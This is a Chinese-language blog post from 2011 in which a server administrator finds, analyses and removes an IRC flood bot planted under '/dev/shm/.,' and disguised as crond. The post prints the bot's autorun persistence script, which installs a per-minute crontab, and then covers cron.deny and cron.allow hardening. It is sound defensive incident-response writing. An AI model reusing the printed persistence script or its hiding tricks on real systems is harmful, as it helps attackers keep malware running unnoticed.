2011年11月18日 星期五

3303 port 異常

最近檢查netstat時發現我的機器要去連別人的 3303 port
對它查了一下
[root@test hack]# lsof -i:3303
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
[root@test hack]# lsof -p 30760
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache cwd DIR 0,20 40 143575172 /dev/shm/.,
crond 30760 apache rtd DIR 253,0 4096 2 /
crond 30760 apache txt REG 0,20 152108 143575177 /dev/shm/.,/crond
crond 30760 apache mem REG 253,0 21948 1993206 /lib/libnss_dns-2.5.so
crond 30760 apache mem REG 253,0 129900 1993008 /lib/ld-2.5.so
crond 30760 apache mem REG 253,0 1693812 1993009 /lib/libc-2.5.so
crond 30760 apache mem REG 253,0 50848 1993948 /lib/libnss_files-2.5.so
crond 30760 apache mem REG 253,0 80636 1993039 /lib/libresolv-2.5.so
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
crond 30760 apache 3u IPv4 146131264 UDP *:35863


嗯?用apache去呼叫crond?
查看cron log
[root@test cron]# vi /var/log/cron
Nov 18 11:01:01 web crond[31867]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:02:01 web crond[31870]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:03:01 web crond[31875]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:04:01 web crond[31883]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:05:01 web crond[31896]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:06:01 web crond[31906]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:07:01 web crond[31918]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:08:01 web crond[31927]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:09:01 web crond[31935]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)

趕羚羊!這三小!
每一分鐘都執行一次
看一下他在tmpfs裡執行什麼鬼
[root@test shm]# ls -lha
總計 0
drwxrwxrwt 3 root root 60 11月 12 03:32 .
drwxr-xr-x 2 apache apache 60 11月 18 08:25 .,
drwxr-xr-x 12 root root 3.8K 11月 16 09:11 ..

嗯? 沒有檔案嗎?
......
怎麼有二個上一層?
按! 靠北....邊走咧!
它把目錄命名成'.,'
仔細看目錄擁用者是apache
進去裡面瞧瞧
[root@test .,]# ls -lh
總計 392K
-rwxr-xr-x 1 apache apache 319 2月 22 2009 autorun
-rwxr-xr-x 1 apache apache 149K 6月 1 2001 crond
-rw-r--r-- 1 apache apache 45 11月 12 03:32 cron.d
-rwxr-xr-x 1 apache apache 8.5K 1月 24 2006 f
-rwxr-xr-x 1 apache apache 15K 11月 3 2005 f4
-rw-r--r-- 1 apache apache 12 11月 12 03:32 fl.dir
-rwxr-xr-x 1 apache apache 84 9月 22 13:32 fwd
-rwxr-xr-x 1 apache apache 11K 5月 30 2005 j
-rwxr-xr-x 1 apache apache 14K 5月 30 2005 j2
-rwxr-xr-x 1 apache apache 23K 7月 30 2004 mech.help
-rw-r--r-- 1 apache apache 1.1K 11月 18 08:00 mech.levels
-rw------- 1 apache apache 6 11月 18 08:22 mech.pid
-rw-r--r-- 1 apache apache 249 11月 18 08:00 mech.session
-rwxr-xr-x 1 apache apache 443 11月 2 17:16 mech.set
-rwxr-xr-x 1 apache apache 76 12月 8 2010 run
-rwxr-xr-x 1 apache apache 15K 2月 21 2005 s
-rwxr-xr-x 1 apache apache 17K 9月 19 2002 sl
-rwxr-xr-x 1 apache apache 16 2月 22 2009 start
-rwxr-xr-x 1 apache apache 15K 9月 3 2004 std
-rwxr-xr-x 1 apache apache 8.6K 1月 24 2006 stream
-rwxr-xr-x 1 apache apache 7.0K 1月 24 2006 tty
-rwxr--r-- 1 apache apache 169 11月 12 03:32 update
-rwxr-xr-x 1 apache apache 14K 11月 20 2002 v
-rwxr-xr-x 1 apache apache 15K 7月 22 2005 v2
-rwxr-xr-x 1 apache apache 915 3月 2 2005 x

很好...就是你們
因為 /dev/shm 權限預設是 777
先把你們挪去其他地方
接著把執行的程式砍了
[root@test shm]kill -9 30760

來研究一下
一開始應該是先執行這個
[root@test hack]# vi start
./autorun
./run
唔...再看這兩隻
[root@test hack]# vi autorun
#!/bin/sh
pwd > fl.dir
dir=$(cat fl.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

[root@test hack]# vi run
#bin/bash
export PATH=:$PATH
crond
echo "Enjoy FloodBot based on OverKill"

總而言之它就是塞了一個 cron 給 crontab 執行
回頭再看一下 cron 的 log 檔
赫!! crond 還在執行它塞的那一句
查看一下 crontab -l
沒有看到啊......去那裡了呢?
啊!......它是以 apache 的身分建立的
要去 /var/spool/cron 底下找
[root@test cron]# ls -lh /var/spool/cron
總計 8.0K
-rw------- 1 apache root 45 11月 12 03:32 apache
-rw------- 1 root root 478 11月 17 09:27 root

把 apache 殺掉後,重啟 crond
OK! 沒有再執行了

截止目前為止,都是在把它移除跟清除的動作
再來要怎麼防止再次發生咧?
先找一下它是從裡來的
GOOGLE 找到了一篇說可能是從 phpMyAdmin 來的
因為這種大部分是預設名字的資料夾比較容易被猜到
進而從漏洞丟程式進來
所以先把 phpMyAdmin 拿掉了

再來,它是利用 crond 來重覆執行程式
記得鳥哥說可以只讓某些帳號使用 crond
查了一下,可以把 apache 加入 /etc/cron.deny
也可以只把允許使用的帳號加入 /etc/cron.allow
兩個檔案留一個就好
若兩個都在則 cron.allow 優先權較高
不然再更絕一點把兩個檔案都刪掉,只有 root 可以執行
上面說的都在 man crontab 裡
DESCRIPTION
Crontab is the program used to install, deinstall or list the tables used to drive the cron(8) daemon in ISC Cron. Each user can have their own crontab, and though these are files in /var/spool/ , they are not intended to be edited directly. For SELinux in mls mode can be even more crontabs - for each range. For more see selinux(8).

If the cron.allow file exists, then you must be listed therein in order to be allowed to use this command. If the cron.allow file does not exist but the cron.deny file does exist, then you must not be listed in the cron.deny file in order to use this command. If neither of these files exists, only the super user will be allowed to use this command.


架站當時對外 3303 port 就已經被我 DROP 掉了
所以它要跟其它機器溝通的封包都被我丟掉了

其實它把對外連結的程式也命名成 crond
讓我們在查看 ps 時會以為是系統的 crond 在執行
上述部分藍色字的部分

找資料時都沒有中文的網站
所以稍為寫的多一點
把很多當初查詢的關鍵字都寫到文章裡了

--
參考網站
http://forums.gentoo.org/viewtopic-t-802836-start-0.html
http://linux.vbird.org/linux_basic/0430cron.php#cron_deny

沒有留言:

張貼留言